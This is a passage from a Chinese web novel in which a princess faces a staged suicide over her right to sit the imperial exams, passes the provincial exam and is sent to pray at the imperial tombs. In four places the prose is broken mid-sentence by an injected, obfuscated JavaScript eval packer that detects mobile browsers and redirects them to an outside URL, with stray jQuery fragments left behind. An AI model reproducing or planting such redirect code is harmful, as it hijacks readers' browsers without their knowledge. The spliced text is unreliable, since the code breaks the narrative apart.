萧柠道:“诸位,之前我参加县试,考中童生,把自己的卷子公布了,所有人都可以看。这次本公主也承诺,如果我能中举,也把试卷公布。如果有人对我的中举有异议,随时可以向官府反映。” 这时,有个三角眼、身材瘦削的举子说道:“你这是牝鸡司晨!” “牝鸡司晨?你凭什么这么说本公主?本公主祸乱朝政了?” “你即将祸乱朝政!” “你可真了不起,还能预知未来。既然这样,你应该去摆摊算命才是,来参加科举做什么?” 此言一出,很多围观的人都笑了。 先前那举子说道:“我有此推测,是因为您来参加乡试,想当举人,那下一步是不是该考进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147021|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士、当官了?这完全是合理推测,并非通过什么算命!” “本公主未来的打算,还无需向你告知。” “那你能保证,你永远不会当官,不会从政?” “本公主不能保证。” “既然如此,我就不能让你参加乡试!” “真是笑话,本公主能不能参加,难道是你说了算?来人,把他拉开。” 侍卫们正要去拉他,没想到这个举子竟掏出一把匕首,扎进自己的心口! 萧柠吓坏了,赶紧叫人施救。 可是,那个举子扎得太准,已经当场毙命。 现场一片狼藉,有人尖叫,有人晕倒,还有人看热闹不嫌事大,一定要往前凑。 巡逻的官兵赶紧派人疏散群众,包围现场。 萧柠很快回过神来,叫人抓住几个目击者,别让所有目击者都离开。 翰林学士李青松从没见过这么血腥的画面,吓得瘫坐在地。 他深呼吸了几口气,才站起来,对萧柠说道:“大公主,出了这么大的事,您可不能走啊。” 萧柠道:“你放心,本公主不会走。本公主还要亲自向京兆府尹说明情况,反正人不是我杀的。” 萧柠虽然强作镇定,但身躯还是微微发抖。 她抓住了马车的边缘,稳住身形。 冬香陪着她一起来的,此刻已经吓得在马车里发抖,没法出来。 冬香哆哆嗦嗦地问道:“公主,怎么办啊?” “别怕,这么多人都看见了,那个举子是自尽的,跟我没关系。” “可是,他是为了反对您科考才自尽的。如果皇上怕事情闹大,直接让您不要科考,怎么办啊?” “父皇的心思,也不是我能左右的。尽人事,听天命吧。” 冬香感到很难过,萧柠也是。 但萧柠要稳住,不能表现出崩溃的样子。 好不容易有了继续考试的机会,这是又要失去了吗? 朗朗乾坤,为何只有她头上乌云盖顶? 没过多久,京兆府尹来了。他得知今天的事跟萧柠有关,便先来拜见萧柠。 萧柠简单地把事情经过讲清楚了,道:“府尹大人,这个举子是突然自尽的,想陷本公主于不义。本公主从未有过伤害他的行为,也没有诱导他自尽。在场诸人,皆可作为见证。” 现场的目击者,还有二十多人被留下,其他人被疏散了。 京兆府尹孙安国道:“公主,您牵涉此事,下官无权审理,还要请皇上定夺。在场的人证,下官也一并带走,为您作证。” 这时,很多证人却感到害怕,不想去皇宫作证,纷纷说道:“其实,我刚才隔得远,什么也没看到啊。” “是啊,小人也没看到。” “小人家中老母病重,还等着小人回家照顾,小人能不能先回去?” 京兆府尹怒道:“岂有此理!做个证,有什么好推诿的?若能说清事情真相,皇上重重有赏!” 然而,还是没有证人愿意出头。 这时,不远处却传来一个微弱的声音:“我……我可以作证……” 79. 变故(修) 众人循声望去,见到一个脸色苍白、十分瘦弱的举子走了出来。 萧柠认出,他竟是老熟人夏以清。 萧柠叫道:“夏以清?” 夏以清道:“大公主,是我……刚才的事,我也看到了。但我站在人群外面,被疏散了。我关心此事进展,没有走远,见其他人都不愿作证,我就过来了。” 萧柠有些感激地说道:“多谢你……你是不是看到,那个举子是自己自尽的?” “对,我看见了全过程。当时,那个举子离您很远,他的死怎么也怪不到您身上。” “很好,实话实说,见义勇为,才是读书人的本分。若是胆小怕事,又怎么能有大出息?” 见萧柠这样说,其他证人有些惭愧。再加上有夏以清当出头鸟,其他人也纷纷改口,说愿意作证。 见证人有了,京兆府尹命人把尸体收起来,带上所有证人,跟萧柠一起进宫。 萧柠是公主,而且人不是她杀的,自然要以礼相待,所以萧柠仍是坐着马车回去,幕篱也不必摘。 萧柠把夏以清叫过来,问道:“夏以清,刚才怎么没见你报名?” “说来惭愧,六月份的院试,小人没有考中秀才,还得接着考,所以不能参加这次乡试了。小人今日只是路过考场,远远地望一眼,没想到就看见了举子自尽的现场。” “原来如此。我记得你家境贫寒,你父母还允许你多次考秀才吗?” “一开始不太同意,但我苦苦哀求,说自己考中了童生,将来迟早能考中秀才,再让我试试,他们也就勉强同意了。” “那你还有钱读书吗?” “有,跟我一起考中童生的朋友,给我凑了点钱,让我安心备考。” “那就好。上次我让你吃葵花酥,导致你过敏,后来身体没问题了吧?” “没有,小人的过敏只持续几个时辰,后来就好了。而且公主也派大夫给我医治了,没有任何问题。” “那件事,我需要向你道歉。” “公主说哪里话,您也是为了查清葵花酥的真相,小人心中没有怨言。” “多谢你不计较。” 夏以清非常惶恐,道:“您是公主,何需向小人道歉?” “道不道歉,跟身份无关,这是我的老师教给我的。” 夏以清十分谦让,低着头退开。 萧柠本想给他一点银两,但现在夏以清的身份是证人,如果萧柠给他钱,难免有贿赂人证之嫌。因此,萧柠就没有给,只是默默记下这件事。 等自己的嫌疑洗清之后,再暗中关照夏以清不迟。 冬香悄悄对萧柠说道:“公主,之前咱们还怀疑夏以清在考场上害您腹泻,没想到他是好人。” “嗯,发现他是好人,我也就放心了。他当时肚子饿,但又对葵花酥过敏,所以才拿走其他糕点,留了葵花酥给我,这是巧合而已。真正害我的,应该是义父家的厨娘杜四娘子。” “那个杜四娘子找到了吗?” “还没有。竟像是人间蒸发了一般。” “这也真是怪了。” “是啊,还是先渡过眼前的难关再说。” 很快,一行人就到了御书房。 皇帝正在跟大臣们议事,刚才已经听了小太监的密报,知道宫外发生了什么。 因此,他直接让相关人等都进去,本来在议事的大臣们也不必离开。 京兆府尹把事情经过说了,并说道:“皇上,微臣所言,这些百姓均可作证。” 证人们纷纷说道:“大公主是无辜的,我们亲眼见到那个举子是自己自尽的。” “没错,当时大公主离他有很远的距离。” “是他一时冲动,不关大公主的事。” 皇帝问萧柠:“是这样吗?” 萧柠冷静回答:“是的。当时儿臣只是去考场报名,没有惹是生非,也没有得罪任何人。但有一群举子反对我参加乡试,我就跟他们争辩了几句。谁知,有一名举子气性大,似乎见不得儿臣参加考试,竟举刀自尽,实在令人骇然。” 翰林学士李青松道:“皇上,那个举子虽然是自尽,但也反映出公主下场科考之事不得人心。别人虽然不会这么激烈地反对,但心中难免有微词。以臣之见,不如禁止公主科考,以安民心。” 萧柠皱眉看了李青松一眼,想反驳他,又怕自己言辞激烈,有损名声。 因此,萧柠只是恭顺地看向皇帝:“父皇,儿臣真的很想参加科考,今天的事是无妄之灾,还请父皇为儿臣做主。” 皇帝看向其他大臣:“诸位爱卿觉得呢?” 众大臣众说纷纭: “皇上,今日之事着实可怕,想必大公主受到了惊吓,还是暂停考试,休养身体为好啊。” “公主参加科考,本就物议沸然。今日有这么多举子反对,甚至有人为此自尽。依臣看,皇上需要考虑民意啊。” “这是什么道理?因为一个举子自尽,公主就不能考试?那皇上推行任何新政,如果有人为此自尽,新政就不推行了吗?” “这怎么能混为一谈?公主科考只是小事,跟国家大事怎么能一样?” “依我看,这公主参加科举,也没什么大不了的嘛,至于反对成这样吗?” “大公主非要科考,恐怕其心中所图,不止功名而已,请皇上三思啊……” 众臣意见不一,皇帝一时也难下定论。 萧柠忽然说道:“臣璧言:严刑峻法,黎庶所畏,然此未可以治天下也。刑余之人既多,则国人衰弱,国力渐微,民心含怨,不可不慎也……” 萧柠一口气背了一大段话,有个大臣惊讶地说道:“这……这是臣几年前呈给皇上的奏折,大公主如何会背?” 萧柠道:“每年父皇都会命人整理出一些文采、道理俱佳的奏折,编成合集,放入文渊阁,大臣都可以借阅。我有文渊阁的钥匙,经常进去看书,见到自己欣赏的文章,就会背诵。何大人的这篇奏折,劝诫皇上取消严刑峻法,让百姓可以安心做事,我也深以为然。” 这个官员有些错愕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147022|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才他还反对萧柠科考,没想到萧柠能背出他的奏疏,还如此抬举他。现在他的心情十分复杂。 接着,萧柠又背了几篇文章,全是反对她的大臣所写,而且无一字错漏。 几位大臣面面相觑,一时之间也难以再说出反对萧柠的话。 萧柠对他们说道:“诸位大人方才反对我参加科考,也都有自己的道理,我不会怪你们的。 自有科举制度以来,一直只有男人能考,已是成例。我若要破例,必然会遭遇诸多反对。 然而,方才诸位大人也听到了,我能背出诸位的文章,也能通过童生考试,足以证明我的水平并没有问题。就算我他日真的与诸位大人同朝为官,又有何不可? 我又不会抢走诸位的官位,到时候我们各做各的,平时互不干扰,需要合作时互相配合,不也很好吗?” 这时,有个大臣说道:“我承认公主博闻强识,很有才华,但这不意味着您就要参加科考。您喜欢大臣们的文章,我们可以为您整理一本文集,供您私下阅读。至于参加科考、当女官,还是过于不正常了。公主已经到了出嫁的年纪,应该给自己选个驸马。” 萧柠道:“什么是正常?什么是不正常?以前,平民没有当官的机会,官位都由世家垄断。但后来有了科举制,平民也能通过科举,成为官员。 这世上没有一成不变的东西,制度也要因时变化。更何况,我参加科举,未必只对我自己有好处。说不定,大人将来遇到难题,还需要我的帮助。 而且,我现在只是想参加考试而已,未来的事还没确定呢。还是等我中举了,诸位大人再来讨论我能不能进入朝堂吧。” 几个大臣还想再争,夏以清突然插话道:“请容小人说句话,小人支持大公主参加科考。皇上和诸位大人既然重视民意,那小人的想法也是民意。这世上应该也存在很多支持大公主科考的人,这些人的意见也应当考虑一下。” 另外有两三个证人也说道:“小人也支持大公主参加科考。” 其他证人不敢当众说话,就没说什么。 这时,京兆府尹说话了:“皇上,臣今日赶到现场时,见大公主神情冷静,还能指挥侍卫们抓住目击证人,有勇有谋,并非寻常女子可比。臣以为,大公主完全有做女官的气势。” 皇帝点头道:“举子自尽之事,跟大公主无关。大公主无需退出,乡试照旧。” 萧柠欣喜道:“谢父皇!” “好了,你们都先出去吧,朕要休息一下。” 萧柠走出大门,对所有帮她说话的人都道了谢。 那些反对她的人,她也没有恶言相向,而是以礼相待,礼貌地跟他们告别。 接着,萧柠就回到了自己宫中。 京兆府尹带着所有证人,离开了皇宫。 冬香道:“刚才那几个大人实在太顽固了,听得我好气啊。” 萧柠笑道:“他们反对我科考,并不意味着他们是坏人,只是思维有些守旧而已。我能令申太傅改观,迟早也能令其他人改观。” 80. 推诿(修) 冬香笑道:“公主,我真佩服您。如果我遇到这么多人阻止我,我早就放弃了。” “心里不想放弃,就有勇气面对一切。” 萧柠让人拿了五十两银子,送给夏以清,资助他科考。系统给了萧柠150积分。 萧玉蟾问:“公主,今日去报名,还顺利吗?” 萧柠摇头道:“不太顺利。” 冬香把今日发生的事大致讲了一下,萧玉蟾惊讶道:“还有这种事……那个举子为了反对公主科考,竟然自尽,简直匪夷所思。依我看,他背后应该有人指使。” “说得对,我托我义父去查一下。” “为何不直接让皇上查呢?” “父皇日理万机,我不想给他添麻烦。乡试在即,也不宜大张旗鼓地彻查,以免影响乡试。” “这倒是。除了那名自尽的举子,其他反对您的举子也要查一下,说不定他们是被同一个人收买的。” “嗯。” 萧柠本想给义父姜焕写信,但想了想,还是口头说比较安全。 因此,她去了尚书台,找到姜焕,请他帮忙调查。 姜焕道:“公主放心,臣会帮忙调查,只是未必有结果。” “没关系,最重要的是不暴.露自己。杜四娘子还是没消息吗?” “没有,臣打算过段时间去京兆尹府,呈报失踪人口。等您乡试结束之后吧。” 接下来的几天,萧柠仍旧认真读书。 她有些紧张,萧玉蟾安慰她:“公主,您是要做大事的,还怕一次小小的乡试吗?” “我只是担心……万一考不上,就要再等三年。三年之后,还不知道会发生什么。” 乡试不比之前的考试那样频繁,每三年才举行一次。 所以,考中举人是很不容易的。 萧玉蟾道:“现在先别想落选会如何,您先考了再说。” “嗯。” 萧柠调整好心态,趁最后的时间多读点书。 很快,就到了乡试的时间。 乡试也是考三场,一共九天时间。 放榜那日,有两个七八岁的小男孩凑到榜单前看。 他们要找一个名字。 他们一个个找过去,终于在比较末尾的地方找到了萧柠的名字。 两个小男孩兴奋得大喊大叫:“太好了!大姐姐……不是,大公主中举了!” “咱们快把这个好消息告诉爹,让爹传信给大公主!” 这两个男孩兴奋地往姜焕府上跑去。 他们两个是姜焕的儿子,以前萧柠在姜家时,他们俩是萧柠的弟弟。 现在萧柠虽然变成公主了,但跟姜家的弟弟妹妹感情仍然很好。 所以,两位姜公子今天特意来看榜单,就是为了寻找萧柠的名字。 姜焕从儿子口中得知,萧柠已经中举,亦是喜出望外,便赶紧传信进宫,通知萧柠这个好消息。 萧柠得知后,先是愣了一下,随即心中充满了巨大的喜悦。 “我做到了……” “恭喜大公主!” 一时之间,萧柠听见了很多的恭喜声,她来不及一一回应。 今日的桃夭宫门庭若市,许多妃嫔、皇子公主、内官都来到桃夭宫恭喜萧柠,并送上贺礼。 温妃知道萧柠连日考试很辛苦,就代为接待。 宴席热热闹闹地办了一整天,有许多平时不怎么出门的妃嫔都来了。 不过,靳贵妃母子三人并没来。 皇帝本来也想来探望萧柠,但靳贵妃称病,让皇帝去看她,皇帝便去了靳贵妃那里。 不过,皇帝还是派人送了一些礼物和银两。 萧柠统计了一下自己的财物,目前有银子三千两,金子四百两,绸缎五十匹,首饰五大箱,古玩二十多件,另外还有一些小玩意。 她拿出200两赏赐了自己的宫人,获得了300积分。 晚上,萧玉蟾问她:“公主,您接下来有什么打算?是接着参加会试,还是以举人的身份出仕?” 萧柠摇头道:“这两条路,只怕都不容易。我明日先去探探父皇的口风。” 第二天,萧柠去找皇帝,请求接着参加来年的会试。 皇帝道:“朕需要考虑一下。柠儿,你不用着急,进士不是那么好考的,你还需要再学习几年。” “父皇,距离明年的会试还有几个月的时间,儿臣想去试试。” “这并不容易。你前几日参加乡试,已经有很多弹劾你的奏折了。所以,最好还是别继续了。你能考中举人,已经很了不起了,足以载入史册了。” “那父皇能直接让我做官吗?” “举人做官都是要等的,只有进士才能直接做官。” “那我就考进士……” “再说吧。朕忙得很,你先回去吧。” “是。” 萧柠不想触怒皇帝,因此没有再继续恳求。 这个结果,她早就料到了。 她回到自己宫中,萧玉蟾问道:“怎么样了?” 萧柠摇了摇头,萧玉蟾就知道结果了。 她有些遗憾地说:“都走到现在了,进不得退不得的……皇上为何不能干脆一点同意呢?” “我想当进士、当官,对他、对整个朝堂来说,还是过于超前了。父皇就算有心成全我,也拗不过那么多大臣。我听说,为了我参加乡试的事,前几日还有几个御史当众撞柱子呢,好在没有出人命。 父皇自有源源不断的人才可用,他要让我当官的话,阻力太多。所以,他自然选择轻松一点的方式。” 这时,有个小太监来传话:“大公主,尚书仆射姜焕大人请您明日去尚书台叙话。” “好的。” 估计是之前托义父调查的事有结果了,萧柠心中有些期待真相。 第二天,萧柠去尚书台,见到了义父姜焕。 姜焕道:“公主,经臣查证,上次那些当众反对您的举子,好像是受了一个黑衣人的收买。那个黑衣人给他们钱,让他们在您报名的时候,主动提出异议,让您知难而退。 至于那个自尽的举子,名叫吴聪,有赌钱的恶习,催债的都催到他家里了。他父母卧病在床,也没钱还。 据其他举子说,那天那个黑衣人给了他们钱,就让他们走了,但唯独留下了吴聪,说是还有话跟他说。我猜,黑衣人就是让吴聪当众自尽,承诺会替他还赌债。所以吴聪才愿意自尽的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147023|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “原来如此。我就说一个前途无量的举子,怎么可能因为一时激愤,就冲动自尽。那个黑衣人是什么身份?” “具体身份不知道。不过据那些举子说,黑衣人声音有点尖,不太正常。” “声音有点尖……莫非是太监?” “除了宫里有太监外,就只有王府有太监了……” 这么一猜,收买举子的人是谁,已经呼之欲出了。八成是大皇子。 可是,没有证据,也没法拿他怎么样。 萧柠问道:“义父,现在该怎么办?” “以皇上对大皇子的宠爱程度,别说我们没证据,就是有证据,皇上也不会将大皇子治罪的。您现在不宜跟大皇子有正面冲突,好在他除了偷偷阻碍您考试,没有害您性命的想法。现在还是低调些好。” “我知道……为什么靳贵妃、大皇子他们非要针对我……” “也许是您太优秀了,引起了她们的忌惮。” “我有这个威慑力吗?那我倒要谢谢他们,如此看得起我。” “公主若能去外地做官,就可以躲开他们了。” “父皇不让我做官,也不让我继续考进士。” “臣会联合一些交好的大臣,上书给皇上,为大公主求官。不过,成功率不高。” “没关系,先谢谢义父了。” 晚上,萧柠打开夸夸群,说了自己中举的事。 【只涨工资不长肉:太厉害了吧!一次就中举!这可比中彩票还难!】 【樱桃小完犊子:嘻嘻,吸吸欧气】 【回笼教教主:吸吸欧气!】 【有趣的灵魂一百多斤:小柠,你是天才】 【你已被群主移出群聊:有没有人来巴结你?】 【萧柠:有啊,这几天简直谁都想认识我,哈哈】 【感觉尸体暖暖的:恭喜恭喜,小柠太棒了!是不是可以当官了?】 【萧柠:不行,我父皇一直推诿,好像不想让我做官。】 【你已被群主移出群聊:可以再等等机会。如果你什么时候能立个大功,再跟皇上提这事,皇上应该会同意。】 【萧柠:嗯,我也是这么想的。】 【樱桃小完犊子:当女官就是小柠的最终目标吗?】 【萧柠:目前是。只要能当女官,品级高低无所谓。】 【你已被群主移出群聊:胆子大点,当女帝也可以呀】 【萧柠:会不会太不切实际了一点?】 【你已被群主移出群聊:做梦,就要做个大的!】 【萧柠:嗯,有道理。】 聊完后,萧柠精神状态很好,就看了一个时辰的书,再睡觉。 几天后,朝堂上。 姜焕想上奏,为萧柠请官,可是有人抢先一步站了出来。 钦天监监正道:“皇上,臣有事启奏。” 皇帝问道:“何事?” “启禀皇上,近几个月来,国内灾害频发,许多百姓都蒙受了损失。臣夜观天象,辅以占卜之法,得知若想要风调雨顺,需要有一个宗室女去皇陵附近祈福三年。而这宗室女的身份越尊贵,祈福效果越好。故而,臣请求让大公主去皇陵祈福,请皇上恩准。” 81. 打扫(修) 皇帝有些震惊,本能地想反对。 但很多大臣都赞同这一提议,皇帝有些犹豫,道:“合适的宗室女也有几个,未必非要大公主不可。” 钦天监监正道:“大公主善良聪慧,心怀天下,没有比她更适合的人选了。” “朕先考虑一下,总要先问问大公主的意思。” “皇上……” “先退朝吧。” 皇帝回到御书房,叫来萧柠,说了这件事。 萧柠考虑了片刻,便同意了:“父皇,请让女儿为国祈福吧。” “但是依钦天监监正所言,祈福需要在皇陵附近结庐而居,不带下人,事事亲力亲为,还需要每天花一个时辰祈福。这太过辛苦,你应该吃不消。还是找一个家境一般的宗室女去吧。” “听监正说,祈福之人身份越高,祈福效果就越好。既然如此,女儿去是最好的。父皇放心,我也会做饭、会打扫,只是做得没那么好而已。但自己照顾自己是没问题的。如果能用三年的清苦生活,换来风调雨顺,国泰民安,那是十分值得的。” 皇帝十分动容,拍了拍萧柠的肩膀,道:“柠儿,你有这份心很不错,但是……那种生活真的没有你想象中的容易。” “女儿知道不容易,但女儿能坚持。” “好,那就你去吧。” “不过,虽然不能带下人,但应该可以带一些护卫吧?” “当然,朕会派一些可靠的护卫给你。” “儿臣要一个人住三年,男护卫怕是不方便,不知道能不能全换成女护卫?” “金吾卫大将军好像训练了一批女护卫,不过人数较少,朕将她们全部派给你。” “谢父皇。” 萧柠回宫,着手准备祈福之事。 其实这事一提出来,萧柠就感觉到是冲她来的。 她刚刚考上举人,有了做官的资格,钦天监那边马上就提出让她去为国祈福,还一去就是三年。 这事要是没有猫腻,鬼才信。 不过,她也可以反过来利用这件事,立下功劳,让谁都没法忽视她。 将来她要入仕,就可以把这件事拿出来说。 冬香和小雪一边整理东西,一边担忧地对萧柠说道:“公主,您真的要一个人出宫住?” “没错,祈福不让带下人。” “可是……可是那样的话,什么活都要自己干……” “你们能做的事,难道我就不能做了?家务那么简单,我一学就会。” “可是,未免也太辛苦了……” “没有你们想的那么辛苦,最多就是枯燥些罢了。我带很多书去,就可以看书了,不会无聊。” 虽然萧柠在尽力安慰她们,可她们还是忧心忡忡的。 萧玉蟾也在,她对萧柠说道:“公主,我总觉得你被人算计了。” “这不是明摆着的事吗?我早就察觉到了。有人不想让我当官,也不想让我好过。不过,我想了一下,明年参加会试还是太仓促了,我很有可能考不中。 倒不如去皇陵祈福,顺便再读三年书。等三年后的会试,考中进士的可能性大一些。而且,我有了为国祈福的功劳,不论是求官还是求参加会试,都容易一些。” 萧玉蟾:“公主的考量也有道理。” “玉蟾,等我走后,你有什么打算?回自己家吗?” “对。我父王打算给我选婿,我本来想拒绝的。但公主要离开三年,我倒不如先成亲,以安父母之心。我会留在京城,等公主回来。” “是你选还是你爹娘选?” “我可以自己选,不过要在他们指定的人里面选。我打算选个性情温和、好说话的,这样我无论要做什么,他都不会反对,我也就能更好地辅佐公主了。” “嗯,那我们各自照顾好自己,三年后再见。” “三年后再见。” —————— 几天后,萧柠准备出发,先去含德殿拜别皇帝。 没想到,靳贵妃也在。 她笑着对萧柠道:“公主此去祈福,事关重大。为了让朝野都明白大公主的诚心,本宫特意派两位熟知礼仪的嬷嬷陪您一起去。公主每日祈福的过程,会由两位嬷嬷记录下来,呈交给皇上。如果您有什么错漏之处,两位嬷嬷也可以随时提醒。” 说着,靳贵妃叫了两位嬷嬷出来,正是她身边的庞嬷嬷、董嬷嬷。 这两位嬷嬷都很严肃,一丝笑模样也没有,看向萧柠的眼神也很疏离、严苛。 萧柠心中“咯噔”一下,但她又不能拒绝,便笑道:“多谢贵妃娘娘,儿臣一定会认真祈福。” 靳贵妃皮笑肉不笑:“那便好。” 萧柠又对着皇帝下拜,皇帝说了一些勉励之语,就让萧柠出发了。 萧柠带了四车行李,其中一车是祈福用的衣服、器物等,一车是换洗衣服、油盐酱醋等日常用品,还有两车是书。 她打算趁着祈福的三年,好好学习,等回来就能考进士了。 除了两位嬷嬷外,跟萧柠一起出发的还有二十名女护卫。 她们是金吾卫大将军训练出来的,本是为了执行一些秘密任务,现在全部交给萧柠了。 这些女护卫武功都不错,虽然人数不多,但保护萧柠绰绰有余了。 萧柠的行李,便是由她们运送。 女护卫的首领叫鸾音,身长八尺,蜂腰虎背,头上绑着细长的红色带子。她长得很美,但别人看到她的第一眼,会首先注意到她的英气。 她亲自替萧柠驾车。 二皇子、三皇子一路相送。 走到半路,萧柠回头对两位弟弟道:“你们别送了,快回去吧。剩下的路途不远,我很快就到了。” 二皇子道:“大皇姐,要好好照顾自己。我和三皇弟有空会来皇陵看您。” 三皇子也嘱咐道:“大皇姐,若有什么事,可以给我写信,或是派个护卫回来找我。” 萧柠点头:“我知道了,你们放心吧。” 二皇子、三皇子这才掉头回去。 皇陵在京郊,赶路半天就到了。 皇陵附近本就有简陋的房屋数间,可以住在这里,不需要现场盖房子了。 只是,这些房子长久无人居住,有些脏乱,需要收拾一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147024|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几名女护卫想替萧柠收拾屋子,庞嬷嬷和董嬷嬷板着脸道:“公主祈福期间,所有事都需要亲力亲为。请公主自己收拾。” 萧柠让女护卫们离开,随即笑道:“这个自然,我会自己打扫的。” 庞嬷嬷去打扫她们的屋子了,但董嬷嬷还站在萧柠身侧,盯着萧柠,似乎想监督她干活。 萧柠只得顶着她不怀好意的目光,旁若无人地收拾起来。 她平时很少干活,但也学过。 这间屋子腐朽、破败,所有地方都积了灰,还有一股难闻的味道。地上还有一些颜色很诡异的东西,像是腐烂了很久的食物或是动物尸体。 萧柠耐着性子、忍着恶心打扫。一开始她实在坚持不下去,但渐渐的,她觉得没那么难,只要不怕脏。 她在心里默默地告诉自己:“别怕,所有东西都能碰,大不了等会洗衣服就是了。” 大概半个时辰后,这屋子勉强能看了,也能坐了。 董嬷嬷看了半天,早就累了,便朝萧柠行了一礼,道:“大公主,一会还请您自己做饭吃,奴婢先告退了。” 萧柠休息了一下,躺在木板床上睡了一觉。 醒来时已经是黄昏了,她闻到一股饭菜的香味。 她往外一看,是庞嬷嬷和董嬷嬷在做饭,好像还做了好几个菜。 不过,她们肯定不会给萧柠吃的,萧柠只能自己做。 本来院子里有一些树枝、细柴,可以直接拿来烧。但是萧柠想去拿时,已经没有了。 院子里只剩下一些很粗的树桩子,想要烧火得自己劈柴。 女护卫们也要做饭,她们打算过来劈柴,顺便给萧柠一些柴火。 但庞嬷嬷端着碗走了出来,盯着她们道:“各人劈各人的柴火,公主身份尊贵,应该她先用柴火。等公主劈完自己所需的柴火,护卫们才准上前劈柴。” 萧柠翻了个白眼,抡起斧子劈柴。 她学过君子六艺,六艺中的射箭和驾车都需要不小的力气,因此她的力气比一般女孩大一些,劈柴是没问题的。 但她没干过这种粗活,劈了许久,也没有劈成。 护卫首领鸾音见了,对萧柠说道:“公主,您使力的方向不对,应该用上手臂的力量……” 庞嬷嬷道:“公主必须事事亲力亲为,旁人不得帮忙。” 鸾音冷冷道:“我只是指导公主几句,出力还是她自己出,不算违规。” 说着,鸾音继续说了一些要点,萧柠按照她说的做,果然顺畅多了。 劈好柴后,萧柠做了一些简单的饭菜。味道一般,但也能入口。 吃完饭后,自己洗碗。 鸾音路过她的房间,道:“公主,您把碗筷用热水浸泡一会,更容易洗干净。” 萧柠笑道:“多谢指点。” 萧柠冷不防察觉到一道视线,抬头一看,又是庞嬷嬷在盯着她,简直跟个幽灵一样。 萧柠无奈地关上房门,不让庞嬷嬷看。 晚上,她想洗澡,但没有木桶。 外面倒是有一条小河,但她不能直接去外面洗。一来不安全,二来晚上水太冷,容易着凉。 82. 模糊(修) 她想了想,只能拿来一个脸盆,烧了点热水,随便擦了一下。 第二天,便要开始祈福。 祈福的衣服非常复杂,宽袍大袖,层层叠叠的,头饰也有四十多件。妆容也有要求,要清新自然,但不能淡妆;要看起来有神性,但妆容看起来不能太浓。 她天不亮就起床装扮,一个时辰后才装扮完毕。 接着,萧柠面朝皇陵的方向,跪下祈福。 祈福要持续一个时辰,有祈福文要念。 这一个时辰内,她必须跪得端正,同时要不停歇地念祈福文,最多只能喝点水。 庞嬷嬷和董嬷嬷坐在旁边,一左一右地盯着她。 两个嬷嬷倒是好整以暇,慢悠悠地喝着茶,有些得意地看着萧柠。 萧柠知道,这两个嬷嬷会把自己每天的言行写成日报,递交给靳贵妃和皇帝。因此,她不敢有丝毫懈怠。 一个时辰终于结束,萧柠累得很了,觉得灵魂都要出窍了。 两个嬷嬷虽然是坐了一个时辰,但一直盯着萧柠也挺枯燥的,早就想走了。 因此,萧柠一起身,她们就告退了。 萧柠觉得腰酸背痛,躺在床上休息了很久,直到自己肚子饿了。 饿了就得自己做饭,萧柠下了面条,打了两个鸡蛋,又用手撕了几片菜叶进去,草草地做好了一餐。 吃完之后,她只觉得半饱,但量已经吃足了。她是按平时的饭量下的面条。 大概是因为太清汤寡水了,营养不够,所以才肚子饿。 平时她吃饭都会吃很多不同的东西,营养均衡。 她还是头一次这么辛苦。 吃完饭,把碗泡上,她继续躺着休息。 她本想起来看书,但身体不舒服,只能作罢。 这时,她听见门外响起了歌声。 是那群女护卫在唱战歌。 她们是按照士兵的标准培养的,所以会唱战歌。 她们先唱了《大捷》,又唱了《古战场曲》,声音浑厚,充满精神,萧柠的精神也为之一振。 她把窗户打开,一边看女护卫们唱歌,一边轻轻打着节拍。 有女护卫们作伴,她觉得没那么枯燥和辛苦了。 女护卫们唱完歌后,便在院子里操练。 她们两人一组,互相打斗。 渐渐的,院子里站不开,她们如一群麻雀一般向四面八方飞去,边飞边打,煞是好看。 大部分女护卫的功夫都差不多,所以打得有来有回,见招拆招,来回几百个回合还分不出胜负。 只有跟首领鸾音打斗的女护卫,早早败下阵来。 萧柠只当是看表演了,看得津津有味的。 打完之后,女护卫们又练习阵法。她们形成阵法的速度很快,一会就换一个阵,看得萧柠眼花缭乱。 萧柠对她们说道:“诸位辛苦了。” 